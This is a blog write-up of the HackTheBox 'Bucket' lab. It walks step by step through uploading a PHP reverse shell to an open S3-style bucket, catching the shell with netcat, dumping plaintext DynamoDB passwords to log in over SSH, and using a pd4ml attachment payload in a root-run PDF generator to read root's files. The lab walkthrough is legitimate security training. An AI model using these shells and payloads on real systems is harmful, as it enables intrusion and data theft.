Random stuff
Random stuff

HTB: Bucket

Solution to the Bucket VM

Foothold

First, as always we scan ports with nmap.

nmap -sS -sV  10.10.10.212  
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-16 23:27 CEST
Nmap scan report for 10.10.10.212
Host is up (0.038s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.03 seconds

There is something on port 80, so lets check:

curl 10.10.10.212

Result:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://bucket.htb/">here</a>.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 10.10.10.212 Port 80</address>
</body></html>

So we have to map this host name with the ip address:

echo "10.10.10.212 bucket.htb" | sudo tee -a /etc/hosts

Now it start to work, but while looking through source code of recived page, we can see images urls, that are not opened correcly, like: http://s3.bucket.htb/adserver/images/bug.jpg

So we can add another line to our hosts file

echo "10.10.10.212 s3.bucket.htb" | sudo tee -a /etc/hosts

Great, the page is looking good right now. But the interesting part is the s3 suffix, as it sounds like a local instance of the famous Amazon Simple Storage Service. And the title of this machine confirms out assumption! So... let's have some fun with it.

curl "http://s3.bucket.htb/adserver/images/"

Result:

<?xml version="1.0" encoding="UTF-8"?>
<Error>
    <Code>NoSuchKey</Code>
    <Message>The specified key does not exist.</Message>

    <RequestID>7a62c49f-347e-4fc4-9331-6e8eEXAMPLE</RequestID>
</Error>
curl "http://s3.bucket.htb/adserver/"

Result:

{"status": "running"}
curl "http://s3.bucket.htb/"

Result:

{"status": "running"}

We can see different responses, so it looks promissing!

As it look like a s3 instance, we can try to use it like it, either by working with pure requests:

curl -X PUT http://s3.bucket.htb/adserver/ -T reverse-shell.php

That looks like a pure luck, but it is really working... But we can try something more. Why not use some FUZZ?

wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://s3.bucket.htb/FUZZ/foo/

And hey, what we have here?!

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                   
=====================================================================


000001688:   500        0 L      13 W       158 Ch      "shell"                                                                                   

Lets take a look at this address:

DynamoDB web client screenshot

We are definitly going somewhere. For now just note that discovery.

For now we can try last, but most important thing: use the aws cli. It is already on your system or just install it from system repo.

Now the param --endpoint-url will be crucial. Lets try:

aws --endpoint-url=http://s3.bucket.htb s3 ls adserver/

Nope, one more step is missing:

aws configure

But we don't have any legit credentials. What can we do? Oh, well, just type anything in there. Any random stuff. And it works, jeeez!

aws --endpoint-url=http://s3.bucket.htb s3 ls adserver/
                           PRE images/
2021-06-26 23:58:04       5344 index.html

So prepare your pretty php reverse shell and copy it on the server, hoping it will work.

aws --endpoint-url=http://s3.bucket.htb s3 cp php-reverse-shell.php s3://adserver/

Now we can try to execute it:

nc -lvnp 4321 # in one term

Next that below in another:

curl http://bucket.htb/php-reverse-shell.php

Then what we see on the nc awaiting for connection?

listening on [any] 4321 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.212] 54924
Linux bucket 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 22:03:15 up  3:08,  1 user,  load average: 0.01, 0.20, 0.25
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
roy      pts/1    10.10.14.11      18:59   56.00s  0.44s  0.44s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

BOOM, we are inside!

User

Escalating privileges in this case is quite simple, but we have to combine something new to find, with some foothold info. And with some luck, if it was a real life scenario.

Of course it is recomended to start some enumaration scripts in this moment. Like LinEnum or linpeas and I encourage you to do it. But lets jump straight to the solution.

$ cd /home
$ ls
roy
$ cd roy
$ ls
project
user.txt
$ cat user.txt
cat: user.txt: Permission denied

That give us at least the user name: roy. Great, but what about the password. Lets step back, to the foothold. We know about the dynamodb service, and we probably have access to id. Why not try to dive in it?

aws --endpoint-url=http://s3.bucket.htb dynamodb list-tables

Result:

{
    "TableNames": [
        "users"
    ]
}
aws --endpoint-url=http://s3.bucket.htb dynamodb scan --table-name users

Result:

{
    "Items": [
        {
            "password": {
                "S": "Management@#1@#"
            },
            "username": {
                "S": "Mgmt"
            }
        },
        {
            "password": {
                "S": "Welcome123!"
            },
            "username": {
                "S": "Cloudadm"
            }
        },
        {
            "password": {
                "S": "n2vM-<_K_Q:.Aa2"
            },
            "username": {
                "S": "Sysadm"
            }
        }
    ],
    "Count": 3,
    "ScannedCount": 3,
    "ConsumedCapacity": null
}

We have found three passwords to try. And guess what: we can use the third one to log in through ssh to roy's account!

ssh roy@10.10.10.212
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-48-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 27 Jun 2021 09:44:22 AM UTC

  System load:                      0.0
  Usage of /:                       33.8% of 17.59GB
  Memory usage:                     22%
  Swap usage:                       0%
  Processes:                        239
  Users logged in:                  0
  IPv4 address for br-bee97070fb20: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens160:          10.10.10.212
  IPv6 address for ens160:          dead:beef::250:56ff:feb9:c8be


229 updates can be installed immediately.
103 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Jun 26 18:59:31 2021 from 10.10.14.11
roy@bucket:~$ ls
project  user.txt
roy@bucket:~$ cat user.txt 
1845bbd4c30469474a3f5d2be1a32922

As we have the user flag, lets jump into the final part.

Root

roy@bucket:~$ cd /var/www/
roy@bucket:/var/www$ ls -l
total 8
drwxr-x---+ 4 root root 4096 Feb 10 12:29 bucket-app
drwxr-xr-x  2 root root 4096 Jun 27 09:46 html
roy@bucket:/var/www$ cd bucket-app/
roy@bucket:/var/www/bucket-app$ ls
composer.json  composer.lock  files  index.php  pd4ml_demo.jar  vendor
roy@bucket:/var/www/bucket-app$ head -n 30 index.php 
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
        if($_POST["action"]==="get_alerts") {
                date_default_timezone_set('America/New_York');
                $client = new DynamoDbClient([
                        'profile' => 'default',
                        'region'  => 'us-east-1',
                        'version' => 'latest',
                        'endpoint' => 'http://localhost:4566'
                ]);

                $iterator = $client->getIterator('Scan', array(
                        'TableName' => 'alerts',
                        'FilterExpression' => "title = :title",
                        'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
                ));

                foreach ($iterator as $item) {
                        $name=rand(1,10000).'.html';
                        file_put_contents('files/'.$name,$item["data"]);
                }
                passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
        }
}
else
{
?>

Looks promissing, but will it be enough? To escalate to root we need to take controll over a process running with root privileges. We will take a look at the apache config:

roy@bucket:/var/www/bucket-app$ head /etc/apache2/sites-available/000-default.conf 
<VirtualHost 127.0.0.1:8000>
        <IfModule mpm_itk_module>
                AssignUserId root root
        </IfModule>
        DocumentRoot /var/www/bucket-app
</VirtualHost>

God bless the man who did it. And forbid him.

Now we need to read carefully what we have above in the index.php file.

There is a script, that is executed by a certain request from the vulnerable machine:

curl -X POST -F 'action=get_alerts' http://127.0.0.1:8000 ; rm /tmp/hack/* ; cp * /tmp/unc

But to do anything we have to insert something to alerts table in dynamodb with the title of Ransomware. We have seen before, that there is no such table as alerts, so we have first to create it:

aws --endpoint-url=http://s3.bucket.htb dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5

then we will be able to inject out exploit:

aws --endpoint-url=http://s3.bucket.htb dynamodb put-item --table-name alerts --item ' { "title": {"S": "Ransomware"}, "data": {"S": "EXPLOIT PLACEHOLDER"} } '

But wait, do we have one? Sure, take a look at the line:

passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.

it is our key to the kingdom. Google pd4ml vulnerabilities to find this awesome article: https://infosecwriteups.com/how-i-hacked-redbus-an-online-bus-ticketing-application-24ef5bb083cd about pd4ml:attachment tag, that we can use here.

aws --endpoint-url=http://s3.bucket.htb dynamodb put-item --table-name alerts --item ' { "title": {"S": "Ransomware"}, "data": {"S": "<html> <pd4ml:attachment src=file:///root/root.txt description=test></pd4ml:attachment></html>"} } '

Finding a perfect syntax to send to the db is a bit of a pain. The description attribute seems to be mandatory, but -- thanks God -- brackets around the arguments values aren't, which makes it a bit easier to read, cause we don't need to escape it.

There is one more problem. There is a cront task, that is clearing the database and the /var/www/bucket-app/files directory every few minutes. So we have to be fast. Or smart. Fast and smart.

We have to execute this oneliner on our machine:

aws --endpoint-url=http://s3.bucket.htb dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5;aws --endpoint-url=http://s3.bucket.htb dynamodb put-item --table-name alerts --item ' { "title": {"S": "Ransomware"}, "data": {"S": "<html> <pd4ml:attachment src=file:///root/root.txt description=test></pd4ml:attachment></html>"} } '

and after that this one on the vulnerable one:

curl -X POST -F 'action=get_alerts' http://127.0.0.1:8000 ; rm -r /tmp/hack ; mkdir -p /tmp/hack ; cp /var/www/bucket-app/files/* /tmp/hack ; cat /tmp/hack/result.pdf

Thats the speed of light, babe! Inside the pdf content we can see this part:

/Type /EmbeddedFile
/Length 33
/Params 5 0 R
>>
stream
3ba97200d588ae0d517c117a03396f10
endstream
endobj
7 0 obj
<<
/Type /Filespec
/F (root.txt)

Yay! See the root flag in the middle?


Receive Updates

ATOM

Contacts